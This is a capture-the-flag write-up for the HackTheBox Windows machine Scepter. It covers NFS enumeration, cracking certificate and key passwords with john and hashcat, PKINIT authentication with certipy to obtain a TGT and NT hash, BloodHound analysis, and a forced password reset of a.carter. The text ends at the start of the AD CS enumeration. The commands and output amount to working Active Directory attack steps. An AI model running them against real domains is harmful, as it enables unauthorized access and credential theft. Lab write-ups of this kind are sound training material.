Scepter

Scepter starts with an open NFS share exposing some client authentication certificates. Most have been revoked, but I’m able to crack the password on the other and authenticate with it. That user can change the password of the next user, and from there I’ll abuse ESC14 to get authentication as another user. The next escalation is a different twist on ESC14, and from there I can DCSync the domain hashes for full compromise. In Beyond Root, I’ll look at the failed certificate authentication at the start of the box and show that the user accounts are disabled but the certificates are fine, as well as a look at the configuration that didn’t allow ESC9.

Box Info

Name Scepter Scepter
Play on HackTheBox
Release Date 19 Apr 2025
Retire Date 19 Jul 2025
OS Windows Windows
Base Points Hard [40]
Rated Difficulty Rated difficulty for Scepter
Radar Graph Radar chart for Scepter
First Blood User 00:49:28snowscan
First Blood Root 01:53:04NLTE
Creator EmSec

Recon

nmap

nmap finds 25 open TCP ports:

oxdf@hacky$ nmap -p- --min-rate 10000 10.10.11.65
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-04-21 22:36 UTC
Nmap scan report for 10.10.11.65
Host is up (0.093s latency).
Not shown: 65510 closed tcp ports (reset)
PORT      STATE SERVICE
53/tcp    open  domain
88/tcp    open  kerberos-sec
111/tcp   open  rpcbind
135/tcp   open  msrpc
139/tcp   open  netbios-ssn
389/tcp   open  ldap
445/tcp   open  microsoft-ds
464/tcp   open  kpasswd5
593/tcp   open  http-rpc-epmap
636/tcp   open  ldapssl
2049/tcp  open  nfs
5985/tcp  open  wsman
5986/tcp  open  wsmans
9389/tcp  open  adws
47001/tcp open  winrm
49664/tcp open  unknown
49665/tcp open  unknown
49666/tcp open  unknown
49667/tcp open  unknown
49671/tcp open  unknown
49678/tcp open  unknown
49679/tcp open  unknown
49680/tcp open  unknown
49681/tcp open  unknown
49694/tcp open  unknown

Nmap done: 1 IP address (1 host up) scanned in 8.89 seconds
oxdf@hacky$ nmap -p 53,88,111,135,139,389,445,464,593,636,2049,5985,5986,9389 -sCV 10.10.11.65                                                             

Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-04-21 22:41 UTC
Nmap scan report for 10.10.11.65
Host is up (0.093s latency).

PORT     STATE SERVICE       VERSION
53/tcp   open  domain        Simple DNS Plus
88/tcp   open  kerberos-sec  Microsoft Windows Kerberos (server time: 2025-04-22 06:41:06Z)
111/tcp  open  rpcbind       2-4 (RPC #100000)
| rpcinfo: 
|   program version    port/proto  service
|   100000  2,3,4        111/tcp   rpcbind
|   100000  2,3,4        111/tcp6  rpcbind
|   100000  2,3,4        111/udp   rpcbind
|   100000  2,3,4        111/udp6  rpcbind
|   100003  2,3         2049/udp   nfs
|   100003  2,3         2049/udp6  nfs
|   100003  2,3,4       2049/tcp   nfs
|   100003  2,3,4       2049/tcp6  nfs
|   100005  1,2,3       2049/tcp   mountd
|   100005  1,2,3       2049/tcp6  mountd
|   100005  1,2,3       2049/udp   mountd
|   100005  1,2,3       2049/udp6  mountd
|   100021  1,2,3,4     2049/tcp   nlockmgr
|   100021  1,2,3,4     2049/tcp6  nlockmgr
|   100021  1,2,3,4     2049/udp   nlockmgr
|   100021  1,2,3,4     2049/udp6  nlockmgr
|   100024  1           2049/tcp   status
|   100024  1           2049/tcp6  status
|   100024  1           2049/udp   status
|_  100024  1           2049/udp6  status
135/tcp  open  msrpc         Microsoft Windows RPC
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: scepter.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2025-04-22T06:42:02+00:00; +7h59m59s from scanner time.
| ssl-cert: Subject: commonName=dc01.scepter.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:dc01.scepter.htb
| Not valid before: 2024-11-01T03:22:33
|_Not valid after:  2025-11-01T03:22:33
445/tcp  open  microsoft-ds?
464/tcp  open  kpasswd5?
593/tcp  open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp  open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: scepter.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=dc01.scepter.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:dc01.scepter.htb
| Not valid before: 2024-11-01T03:22:33
|_Not valid after:  2025-11-01T03:22:33
|_ssl-date: 2025-04-22T06:42:01+00:00; +7h59m58s from scanner time.
2049/tcp open  nlockmgr      1-4 (RPC #100021)
5985/tcp open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
5986/tcp open  ssl/http      Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
| ssl-cert: Subject: commonName=dc01.scepter.htb
| Subject Alternative Name: DNS:dc01.scepter.htb
| Not valid before: 2024-11-01T00:21:41
|_Not valid after:  2025-11-01T00:41:41
|_http-server-header: Microsoft-HTTPAPI/2.0
| tls-alpn: 
|_  http/1.1
|_ssl-date: 2025-04-22T06:42:01+00:00; +7h59m58s from scanner time.
|_http-title: Not Found
9389/tcp open  mc-nmf        .NET Message Framing
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled and required
| smb2-time: 
|   date: 2025-04-22T06:41:53
|_  start_date: N/A
|_clock-skew: mean: 7h59m58s, deviation: 0s, median: 7h59m57s

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 114.24 seconds

The domain scepter.htb is identified on LDAP ports, as well as the hostname DC01.

The majority of the open ports are the standard Windows domain controller ports. There’s also:

  • NFS (2049, 111 RPC support) - Definitely will want to enumerate.
  • WinRM(S) (5985, 5986) - Will come back to when I have creds.

I’ll use netexec to verify the hostname / domain and create an entry for my /etc/hosts file:

oxdf@hacky$ netexec smb 10.10.11.65 --generate-hosts-file scepter_hosts
SMB         10.10.11.65     445    DC01             [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:scepter.htb) (signing:True) (SMBv1:False)
oxdf@hacky$ cat scepter_hosts | tee -a /etc/hosts
10.10.11.65     DC01.scepter.htb scepter.htb DC01

NFS - TCP 2049

Volume Enumeration

To enumerate NFS shares, I’ll use showmount -e (apt install nfs-common):

oxdf@hacky$ showmount -e dc01.scepter.htb
Export list for dc01.scepter.htb:
/helpdesk (everyone)

There is a volume named helpdesk available to everyone. It contains keys for four different users:

oxdf@hacky$ sudo mount -t nfs dc01.scepter.htb:/helpdesk /mnt
oxdf@hacky$ sudo ls -l /mnt/
total 20
-rwx------ 1 nobody nogroup 2484 Nov  2 03:01 baker.crt
-rwx------ 1 nobody nogroup 2029 Nov  2 03:01 baker.key
-rwx------ 1 nobody nogroup 3315 Nov  2 03:01 clark.pfx
-rwx------ 1 nobody nogroup 3315 Nov  2 03:01 lewis.pfx
-rwx------ 1 nobody nogroup 3315 Nov  2 03:02 scott.pfx

I’ll copy these files to my host.

Key Enumeration

baker.crt has metadata about the user at the top:

Bag Attributes
    friendlyName: 
    localKeyID: DC 2B 20 65 C3 0D 91 40 E8 37 B5 CC 06 0F EA 66 5D 3B 7C 4E 
subject=DC=htb, DC=scepter, CN=Users, CN=d.baker, emailAddress=d.baker@scepter.htb
issuer=DC=htb, DC=scepter, CN=scepter-DC01-CA
-----BEGIN CERTIFICATE-----
MIIGTDCCBTSgAwIBAgITYgAAADLhpcORUTEJewAAAAAAMjANBgkqhkiG9w0BAQsF
...[snip]...
ta2X/V1roCSq1/ExhIHWr5u2tkQxJxcmR8mbbM+0tWo=
-----END CERTIFICATE-----

The baker.key file is encrypted:

Bag Attributes
    friendlyName: 
    localKeyID: DC 2B 20 65 C3 0D 91 40 E8 37 B5 CC 06 0F EA 66 5D 3B 7C 4E 
Key Attributes: <No Attributes>
-----BEGIN ENCRYPTED PRIVATE KEY-----
MIIFNTBfBgkqhkiG9w0BBQ0wUjAxBgkqhkiG9w0BBQwwJAQQ17OfpdLR0GFTqV4d
...[snip]...
90yWTwKFUUj3pzCG2WyraNJn44jo3sFJzoUhyUKUYfn2lMtnwOvw//A=
-----END ENCRYPTED PRIVATE KEY-----

I can try to extract keys and certificates from the others, but they each are encrypted as well:

oxdf@hacky$ openssl pkcs12 -in clark.pfx -nocerts -out clark.key
Enter Import Password:
Mac verify error: invalid password?

Auth as d.baker

Crack Passwords

Crack PFX Passwords

Each of the PFX files are encrypted and I don’t have any passwords. I’ll use pfx2john to get a hash for each that can be brute-forced with hashcat:

oxdf@hacky$ pfx2john.py clark.pfx > pfx.hashes  
oxdf@hacky$ pfx2john.py lewis.pfx >> pfx.hashes 
oxdf@hacky$ pfx2john.py scott.pfx >> pfx.hashes 

As far as I can tell, hashcat doesn’t have a mode for these, but john will crack it:

oxdf@hacky$ john pfx.hashes 
--wordlist=rockyou.txt 
Using default input encoding: UTF-8
Loaded 3 password hashes with 3 different salts (pfx, (.pfx, .p12) [PKCS#12 PBE (SHA1/SHA2) 256/256 AVX2 8x])
Cost 1 (iteration count) is 2048 for all loaded hashes
Cost 2 (mac-type [1:SHA1 224:SHA224 256:SHA256 384:SHA384 512:SHA512]) is 256 for all loaded hashes
Will run 12 OpenMP threads
Note: Passwords longer than 16 [worst case UTF-8] to 48 [ASCII] rejected
Press 'q' or Ctrl-C to abort, 'h' for help, almost any other key for status
newpassword      (lewis.pfx)      
newpassword      (clark.pfx)      
newpassword      (scott.pfx)      
3g 0:00:00:00 DONE (2025-04-22 08:36) 11.11g/s 22755p/s 68266c/s 68266C/s adriano..horoscope
Use the "--show" option to display all of the cracked passwords reliably
Session completed. 

All three have the password “newpassword”.

Crack PEM Password

The baker.key file is also encrypted. pem2john will create a hash:

oxdf@hacky$ pem2john.py baker.key | tee baker.hash
$PEM$2$pbkdf2$sha256$aes256_cbc$4$d7b39fa5d2d1d06153a95e1d2a80de86$2048$472edaace794795742a020c4e126cdd4$1232$1e3ebe95baabe7041737c3aac5ee7b879bee03c8a121c22d7bf8290d1367233bcb0ef990de04ab244e75774138561cf1712607e379b75fae0643c9a41123aea0a879261c17e7ebd61ef6ca335f24a267e95f830785ed09c1b968f0385cde3d814ae851a18a46f6627049d013605c319589d6179e3df5b0c71a43e738f911d3c0bf151c96d50849ab230634b9c9f48c655b2498f859bfd1140ecaee214b4bbcece2e88255bd3888437eeeabcf441d0d622cfb5750c6bc046ba38174bfaadfc3522ba1f6701a290984edc86c3f3a4ce5e7e2eb9f8d756b61dda53f098d78a74cd64cb67f61c30e9432aa8c518cd71bacdf050fef4a8bad216d3f5a48396f80552bfc16fc4161eaf701956564d02757cfc91272c5b1eca178e32a8a4cdfda5867ef631d83596d7b706cd4b0ebc0996d4e5e0bb6601615023b3abdb5d8cc9caacd328896c48a9a73fec336a8c6002c4ff42d1001e9a4c0c85b48c40e9603711bd18b9fff123a5d6f3dd7113bc45c58f5384a56570593c5948cb62123091254fdbb6246c5e8075a759af1c40354723be5d7f77c97e5645b15407ee6df6df17ad50ac52dd497c535d55a982e018730089c582eb7be0d88843bbdb7b73a536cb1ed195ad7f0a1fe26cdbe14d5eedd09f7c3d08a0a5cbc5986ccdd09abdef1e35a1d88ba37bc0ee4072d369e47850161b6881349ef7d3479c4e35cd11d371e8ec16c5104bf9a9cee6d45e3686913b79b8f4495eec39fa3731a593af5ca6faa8374951209afce7787c6826406b5a281aff5c8722420fcaf7a0815076b2a7a59c05c030b5365e51024cfd5fea85e1ed8a9b098ee2737818b7e488ada5a7db95caca3129ad20a13def66f97c35f435d9c3092acd65e4d73580b804ddbeb7887540fd617965368dfccd2c0703a03f9a52ba56fc90841b033339ee8c4c273f87734260e70fbdc7372f6d305ceb583a3a7a8330dda76265896fa7e905319bb7c9a3f014b46192927ce267755b31c7ea0b8bdb3f2f3c7767c7b7d4169883a68e9329c1939ba2d03cacca60e35171b1742af66a99cb4f2da6917a4f40ddc1803cb2889ce126cca5402eb80cfd5894702ad1f0946a0936d06b2dfad52ac5273bf1466690ce63221108132533223abb62cf2d5911209c7eb5a8d0864ce17d399dc7a09052679a254db02fdd9f6358ea4de45c9b64fbd13547299936b2971a1a9955711816745033e762473427d58c27c9e9d45b54fc5b482daf1cdfd825af0b71003444680ac68875b110bfdc71c5433c2d27fc67a7f764e18b27b6b50e82bf3f99c8d8a9087b5aa4731c5606fd5136229cb75d3ea238d8b6de08220163fd2957b471170f4b08cde05cd01fe7d7deb7f5c7c61c408f54ae272ac48d8833743d74391984ccf8ca34ad3b65c6a4ea39a1d022393c926fdb5f96f2993a0817299135128ee51e95987cab7b6da42550415bd91b2503426306d27c7dd26a7475b5fbcde8f10378009b58a8d0c1e9d1dac4c9b01bb2f55a708ca1f6c60f194af9b76c82bdc16a95edd27ebe25703a892ee2f09c184e50e9e546174d3f3b7d419e8cd057842b09383649190c558f197924c86668b6ef14d5b46030197bc5a75fb2ec629ed7f9a8db73784e488214d493ae7eb19643156f92815d5dc4411bd2f5e54c2cae97f3af6080e49de444c071b994278c9f74c964f02855148f7a73086d96cab68d267e388e8dec149ce8521c9429461f9f694cb67c0ebf0fff0

The start of the hash doesn’t quite match up with anything in the hashcat example hashes, but it’s very close to the example hash for mode 24420:

$PEM$2$4$ed02960b8a10b1f1$2048$a634c482a95f23bd8fada558e1bac2cf$1232$50b21db4aededb96417a9b88131e6bc3727739b4aa1413417338efaa6a756f27c32db5c339d9c3ba61c746bbe3d6c5e0a023f965e70fb617e78a00890b8c7fc7c9f5e0ab39f35bf58ab40f6ed15441338134d041ca59783437ef681a51132c085abb3830df95e9f94d11da54d61679ca6e40136da96ffe205ce191002458143f03cba3aeca6b22a3f0689d5582b3e6c01baee7a04d875ed44bb84fa0ed0a3aae1ed392645cced385498eef4ec25bf6d1399f1487f3625fad9fee25aabf18edb1ce5e640e834d31251b882601f23c2b2d77a45c84e0fc8a3a42e3ff9f75e7ac815c57a7e943ad803ab3672f85a37c6b92d0813590d47a31788643449dce67f135363a0c14f089629a1274b124539535df5f50df5d4402f7a109738f56467725a8aa3884562c8b4c42c068c3502be86e20ac9c52c0daec22e47dcbefebe902b1dc791ed3cd069c7f9211e43f5a3274450f4b0f0b7c6f59adeca8b39ed130b6cbda7cf98e15bbba21fa1758a28dc2edf2e2f17fc353853dc881458e59184f5a8f6e09456e4d71d90135a8ce67350f7bcb3d900e75585e3a87c0c8482f3917347fcfad4fdb8915991cffd20dae1502d0f69d385244e489e50cc9f24b15a5f9d0b00d62805026db5378b5408d7d719786eb043659a452096736e4a7501548655df83045dc4e86bd3319f2982e6db2bbb239019202cebf2ca68c05b578ba95cef82397b145c80208cd7ffd9b0cd5fc3d0d7ea26401c8e11c28ab8d1a524b884962e7fee597943a5e38137abb8b26a7772f0ad6dad074dcfd0b5794822aa7e43d10cab2c95e63b6459706dc21a1cbbd7ae4c96b40ee4d7039cf84c416cb879b2d30b7ac5e1860dcd2ab5479c39b748f5fd9336934c9c1e8064ffb0906c0c2898479209d1a9c97c3cd1782d7514e94d01b242a371a2df5592d620ebd6e18e63ff24ee8ba182f17e6c578431d738e955a957469e8069a919fd3a15532d460201d4e38ac04ac494b9cde1731d4511bf8faf8420a9de4f8c7d3d721fc30d8c3664683fd91ad3515e97092fb652205fb087890cb594947f5372c9b0b27f08b4b57bf610f777fcf040e6e7b8cedf85113dfd909cbac4b774c7580686f2e1f261898da4c6804d573fb22248005f5e0d3b256a0f3dcb71c47b3d674352bda82c22a513e381f990b6100328185511de9b3352126c5aedb9b0bde15743b42e231ef7227c0fe478044ce69474a740366058f07e56dde7d6089cb76e606482e7ba206355fc0fa180c4a41ae781e4723120e3d5a1dd40224db2c959ecbc9bce88bfeed64082d07b111e88a2d8a6a6fe097c9a298a6c3f76beb5b3b5aecedbbbcd404aac8fd25c069c747338ca0c81e6b63d87fc4f0bc18a86b721e3a16e9875741e0313057de8476ee84e36efe557dc33a7d23a9426f2e359781147607ad79235c9d7846320fe2d963fac79a5c92ff3067595273931174d2173f63cfceb9f62a873e7c240d3c260bcfb02b2697911321a72455cacc6929133d0af2cdf6d59a63293ac508786a4850267f90993fff3b6c07bbf3af0e3c08638148101ae1495da3360614866e238c4f60ca00f615877be80cc708da5ea1c30032acffd0e55429ba29dca409349d901a49831db44c1e58b7530b383d3f7e1cac79200cad9bdf87451783f2ffdab09b230aab52b41fa42fdd9f1f05a3dda0fa16b011c51e330d044adf394bbbb7fa25efc860f3082e42824be3b96943afbe641fe6bb

I’ll remove $pbkdf2$sha256$aes256_cbc from the output and then hashcat recognizes and cracks it:

$ hashcat baker.hash rockyou.txt 
hashcat (v6.2.6) starting in autodetect mode
...[snip]...
Hash-mode was not specified with -m. Attempting to auto-detect hash mode.
The following mode was auto-detected as the only one matching your input hash:

24420 | PKCS#8 Private Keys (PBKDF2-HMAC-SHA256 + 3DES/AES) | Private Key
...[snip]...
$PEM$2$4$d7b39fa5d2d1d06153a95e1d2a80de86$2048$472edaace794795742a020c4e126cdd4$1232$1e3ebe95baabe7041737c3aac5ee7b879bee03c8a121c22d7bf8290d1367233bcb0ef990de04ab244e75774138561cf1712607e379b75fae0643c9a41123aea0a879261c17e7ebd61ef6ca335f24a267e95f830785ed09c1b968f0385cde3d814ae851a18a46f6627049d013605c319589d6179e3df5b0c71a43e738f911d3c0bf151c96d50849ab230634b9c9f48c655b2498f859bfd1140ecaee214b4bbcece2e88255bd3888437eeeabcf441d0d622cfb5750c6bc046ba38174bfaadfc3522ba1f6701a290984edc86c3f3a4ce5e7e2eb9f8d756b61dda53f098d78a74cd64cb67f61c30e9432aa8c518cd71bacdf050fef4a8bad216d3f5a48396f80552bfc16fc4161eaf701956564d02757cfc91272c5b1eca178e32a8a4cdfda5867ef631d83596d7b706cd4b0ebc0996d4e5e0bb6601615023b3abdb5d8cc9caacd328896c48a9a73fec336a8c6002c4ff42d1001e9a4c0c85b48c40e9603711bd18b9fff123a5d6f3dd7113bc45c58f5384a56570593c5948cb62123091254fdbb6246c5e8075a759af1c40354723be5d7f77c97e5645b15407ee6df6df17ad50ac52dd497c535d55a982e018730089c582eb7be0d88843bbdb7b73a536cb1ed195ad7f0a1fe26cdbe14d5eedd09f7c3d08a0a5cbc5986ccdd09abdef1e35a1d88ba37bc0ee4072d369e47850161b6881349ef7d3479c4e35cd11d371e8ec16c5104bf9a9cee6d45e3686913b79b8f4495eec39fa3731a593af5ca6faa8374951209afce7787c6826406b5a281aff5c8722420fcaf7a0815076b2a7a59c05c030b5365e51024cfd5fea85e1ed8a9b098ee2737818b7e488ada5a7db95caca3129ad20a13def66f97c35f435d9c3092acd65e4d73580b804ddbeb7887540fd617965368dfccd2c0703a03f9a52ba56fc90841b033339ee8c4c273f87734260e70fbdc7372f6d305ceb583a3a7a8330dda76265896fa7e905319bb7c9a3f014b46192927ce267755b31c7ea0b8bdb3f2f3c7767c7b7d4169883a68e9329c1939ba2d03cacca60e35171b1742af66a99cb4f2da6917a4f40ddc1803cb2889ce126cca5402eb80cfd5894702ad1f0946a0936d06b2dfad52ac5273bf1466690ce63221108132533223abb62cf2d5911209c7eb5a8d0864ce17d399dc7a09052679a254db02fdd9f6358ea4de45c9b64fbd13547299936b2971a1a9955711816745033e762473427d58c27c9e9d45b54fc5b482daf1cdfd825af0b71003444680ac68875b110bfdc71c5433c2d27fc67a7f764e18b27b6b50e82bf3f99c8d8a9087b5aa4731c5606fd5136229cb75d3ea238d8b6de08220163fd2957b471170f4b08cde05cd01fe7d7deb7f5c7c61c408f54ae272ac48d8833743d74391984ccf8ca34ad3b65c6a4ea39a1d022393c926fdb5f96f2993a0817299135128ee51e95987cab7b6da42550415bd91b2503426306d27c7dd26a7475b5fbcde8f10378009b58a8d0c1e9d1dac4c9b01bb2f55a708ca1f6c60f194af9b76c82bdc16a95edd27ebe25703a892ee2f09c184e50e9e546174d3f3b7d419e8cd057842b09383649190c558f197924c86668b6ef14d5b46030197bc5a75fb2ec629ed7f9a8db73784e488214d493ae7eb19643156f92815d5dc4411bd2f5e54c2cae97f3af6080e49de444c071b994278c9f74c964f02855148f7a73086d96cab68d267e388e8dec149ce8521c9429461f9f694cb67c0ebf0fff0:newpassword
...[snip]...

It’s “newpassword” as well.

User Authentication

Get Usernames

With the passwords, I can extract usernames from the .pfx files. For example, with clark.pfx, I’ll get the certificate:

oxdf@hacky$ openssl pkcs12 -in clark.pfx -clcerts -nokeys -out clark-cert.pem -nodes
Enter Import Password:

The result is:

Bag Attributes
    localKeyID: E1 84 EA CC 0B 68 19 40 D4 CA 6B 14 C1 8E 9E 30 E7 AA 48 B4 
subject=DC = htb, DC = scepter, CN = Users, CN = m.clark
issuer=DC = htb, DC = scepter, CN = scepter-DC01-CA
-----BEGIN CERTIFICATE-----
MIIGEzCCBPugAwIBAgITYgAAACllRWGwWoYhBQAAAAAAKTANBgkqhkiG9w0BAQsF
...[snip]...
QC50FKklZS/V7stBJkjnh3IfX0w3VfI=
-----END CERTIFICATE-----

The usernames from the three certificates are m.clark, e.lewis, and o.scott.

Auth Fails

I can try to use these certificates to authenticate to the domain and get a Kerberose ticket granting ticket (TGT). One way is with PKINITtools, which has a nice gettgtpkinit.py script which I’ve installed using uv. It takes a .pfx and a password and attempts to get a TGT:

oxdf@hacky$ gettgtpkinit.py -pfx-pass newpassword -cert-pfx scott.pfx scepter.htb/o.scott o.scott.ccache
2025-04-22 19:12:30,782 minikerberos INFO     Loading certificate and key from file
INFO:minikerberos:Loading certificate and key from file
2025-04-22 19:12:30,795 minikerberos INFO     Requesting TGT
INFO:minikerberos:Requesting TGT
Traceback (most recent call last):
  File "/home/oxdf/.local/bin/gettgtpkinit.py", line 357, in <module>
    main()
  File "/home/oxdf/.local/bin/gettgtpkinit.py", line 353, in main
    amain(args)
  File "/home/oxdf/.local/bin/gettgtpkinit.py", line 323, in amain
    res = sock.sendrecv(req)
          ^^^^^^^^^^^^^^^^^^
  File "/home/oxdf/.cache/uv/environments-v2/gettgtpkinit-b0d8675dbe1dc482/lib/python3.12/site-packages/minikerberos/network/clientsocket.py", line 85, in sendrecv
    raise KerberosError(krb_message)
minikerberos.protocol.errors.KerberosError:  Error Name: KDC_ERR_CLIENT_REVOKED Detail: "Client’s credentials have been revoked" 

All three .pfx files return KDC_ERR_CLIENT_REVOKED. I’ll show that this is because the accounts are disabled in Beyond Root.

I can also use Certipy, but it requires a .pfx without a password. I’ll extract the key, and with the certificate I extracted above, make a new .pfx with no password (just hitting enter when prompted):

oxdf@hacky$ openssl pkcs12 -in clark.pfx -nocerts -out clark-key.pem -nodes
Enter Import Password:
oxdf@hacky$ openssl pkcs12 -export -out clark-no-pass.pfx -inkey clark-key.pem -in clark-cert.pem 
Enter Export Password:
Verifying - Enter Export Password:

certipy returns the same result:

oxdf@hacky$ certipy auth -pfx clark-no-pass.pfx -dc-ip 10.10.11.65
Certipy v5.0.3 - by Oliver Lyak (ly4k)

[*] Certificate identities:
[*]     SAN UPN: 'm.clark@scepter.htb'
[*]     Security Extension SID: 'S-1-5-21-74879546-916818434-740295365-2103'
[*] Using principal: 'm.clark@scepter.htb'
[*] Trying to get TGT...
[-] Got error while trying to request TGT: Kerberos SessionError: KDC_ERR_CLIENT_REVOKED(Clients credentials have been revoked)
[-] Use -debug to print a stacktrace
[-] See the wiki for more information

Auth Success

I’ll make a .pfx for d.baker using openssl:

oxdf@hacky$ openssl pkcs12 -export -inkey baker.key -in baker.crt -out baker.pfx
Enter pass phrase for helpdesk/baker.key:
Enter Export Password:
Verifying - Enter Export Password:

I’ll enter “newpassword” for the pass phrase prompt, and empty lines for the next two.

Now certipy works great:

oxdf@hacky$ sudo ntpdate scepter.htb
2025-04-23 03:29:25.258030 (+0000) +28798.128979 +/- 0.045882 scepter.htb 10.10.11.65 s1 no-leap
CLOCK: time stepped by 28798.128979
oxdf@hacky$ certipy auth -pfx baker.pfx -dc-ip 10.10.11.65
Certipy v5.0.3 - by Oliver Lyak (ly4k)

[*] Certificate identities:
[*]     SAN UPN: 'd.baker@scepter.htb'
[*]     Security Extension SID: 'S-1-5-21-74879546-916818434-740295365-1106'
[*] Using principal: 'd.baker@scepter.htb'
[*] Trying to get TGT...
[*] Got TGT
[*] Saving credential cache to 'd.baker.ccache'
[*] Wrote credential cache to 'd.baker.ccache'
[*] Trying to retrieve NT hash for 'd.baker'
[*] Got hash for 'd.baker@scepter.htb': aad3b435b51404eeaad3b435b51404ee:18b5fb0d99e7a475316213c15b6f22ce

I’ve got both a TGT and the NTLM hash for the user. Both work:

oxdf@hacky$ netexec smb scepter.htb -u d.baker -H 18b5fb0d99e7a475316213c15b6f22ce
SMB         10.10.11.65     445    DC01             [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:scepter.htb) (signing:True) (SMBv1:False)
SMB         10.10.11.65     445    DC01             [+] scepter.htb\d.baker:18b5fb0d99e7a475316213c15b6f22ce 
oxdf@hacky$ KRB5CCNAME=d.baker.ccache netexec smb scepter.htb -k --use-kcache
SMB         scepter.htb     445    DC01             [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:scepter.htb) (signing:True) (SMBv1:False)
SMB         scepter.htb     445    DC01             [+] SCEPTER.HTB\d.baker from ccache 

d.baker is not able to WinRM:

oxdf@hacky$ netexec winrm scepter.htb -u d.baker -H 18b5fb0d99e7a475316213c15b6f22ce
WINRM       10.10.11.65     5985   DC01             [*] Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:scepter.htb)
WINRM       10.10.11.65     5985   DC01             [-] scepter.htb\d.baker:18b5fb0d99e7a475316213c15b6f22ce

Auth as a.carter

Users

I’ll take a quick look at the users in the domain:

oxdf@hacky$ netexec ldap scepter.htb -u d.baker -H 18b5fb0d99e7a475316213c15b6f22ce --users
LDAP        10.10.11.65     389    DC01             [*] Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:scepter.htb)
LDAP        10.10.11.65     389    DC01             [+] scepter.htb\d.baker:18b5fb0d99e7a475316213c15b6f22ce 
LDAP        10.10.11.65     389    DC01             [*] Enumerated 10 domain users: scepter.htb
LDAP        10.10.11.65     389    DC01             -Username-                    -Last PW Set-       -BadPW-  -Description-                                               
LDAP        10.10.11.65     389    DC01             Administrator                 2025-03-07 22:19:11 0        Built-in account for administering the computer/domain      
LDAP        10.10.11.65     389    DC01             Guest                         <never>             0        Built-in account for guest access to the computer/domain    
LDAP        10.10.11.65     389    DC01             krbtgt                        2024-10-31 22:24:41 0        Key Distribution Center Service Account                     
LDAP        10.10.11.65     389    DC01             d.baker                       2025-04-23 05:21:04 0                                                                    
LDAP        10.10.11.65     389    DC01             a.carter                      2025-04-23 05:21:03 0                                                                    
LDAP        10.10.11.65     389    DC01             h.brown                       2025-03-07 22:19:11 0                                                                    
LDAP        10.10.11.65     389    DC01             p.adams                       2024-11-02 08:00:25 0                                                                    
LDAP        10.10.11.65     389    DC01             e.lewis                       2024-11-02 01:07:14 0                                                                    
LDAP        10.10.11.65     389    DC01             o.scott                       2024-11-02 01:07:14 0                                                                    
LDAP        10.10.11.65     389    DC01             M.clark                       2024-11-02 01:07:14 0

Nothing jumps out as interesting.

Bloodhound

Collect

I’ll use this hash to collect Bloodhound data using netexec:

oxdf@hacky$ netexec ldap scepter.htb -u d.baker -H 18b5fb0d99e7a475316213c15b6f22ce --bloodhound --dns-server 10.10.11.65
LDAP        10.10.11.65     389    DC01             [*] Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:scepter.htb) (signing:None) (channel binding:Never) 
LDAP        10.10.11.65     389    DC01             [+] scepter.htb\d.baker:18b5fb0d99e7a475316213c15b6f22ce 
LDAP        10.10.11.65     389    DC01             Resolved collection methods: group, session, localadmin, trusts
LDAP        10.10.11.65     389    DC01             Done in 0M 2S
LDAP        10.10.11.65     389    DC01             Compressing output into /home/oxdf/.nxc/logs/DC01_10.10.11.65_2025-07-16_212411_bloodhound.zip

I would also collect with RustHound-CE. It doesn’t yet support auth by hash, but I can get a TGT with getTGT.py and then use Kerberos auth. It doesn’t make a difference here.

Analysis

I’ll start Bloodhound-CE in a Docker container (see my Blazoried post for details) and load the data. I’ll make d.baker as owned, and look at their outbound control:

image-20250422155750557

They have ForceChangePassword over a.carter.

Password Change

I’ll use netexec to change the password of a.carter:

oxdf@hacky$ netexec smb scepter.htb -u d.baker -H 18b5fb0d99e7a475316213c15b6f22ce -M change-password -o USER=a.carter NEWPASS=Welcome1
SMB         10.10.11.65     445    DC01             [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:scepter.htb) (signing:True) (SMBv1:False) 
SMB         10.10.11.65     445    DC01             [+] scepter.htb\d.baker:18b5fb0d99e7a475316213c15b6f22ce 
CHANGE-P... 10.10.11.65     445    DC01             [+] Successfully changed password for a.carter
oxdf@hacky$ netexec smb scepter.htb -u a.carter -p Welcome1
SMB         10.10.11.65     445    DC01             [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:scepter.htb) (signing:True) (SMBv1:False) 
SMB         10.10.11.65     445    DC01             [+] scepter.htb\a.carter:Welcome1 

It worked. a.carter can’t WinRM either:

oxdf@hacky$ netexec winrm scepter.htb -u a.carter -p Welcome1
WINRM       10.10.11.65     5985   DC01             [*] Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:scepter.htb)
WINRM       10.10.11.65     5985   DC01             [-] scepter.htb\a.carter:Welcome1

Shell as h.brown

AD CS

BloodHound Enumeration

a.carter is a member of IT Support, which has GenericAll over the Staff Access organizational unit (OU):

image-20250422163421670

Looking at the users in the OU, there’s only one:

image-20250422164702754

Certipy

I’ll use certipy to look for vulnerable templates:

oxdf@hacky$ certipy find -vulnerable -u d.baker -hashes :18b5fb0d99e7a475316213c15b6f22ce -dc-ip 10.10.11.65 -stdout
Certipy v5.0.3 - by Oliver Lyak (ly4k)

[*] Finding certificate templates
[*] Found 35 certificate templates
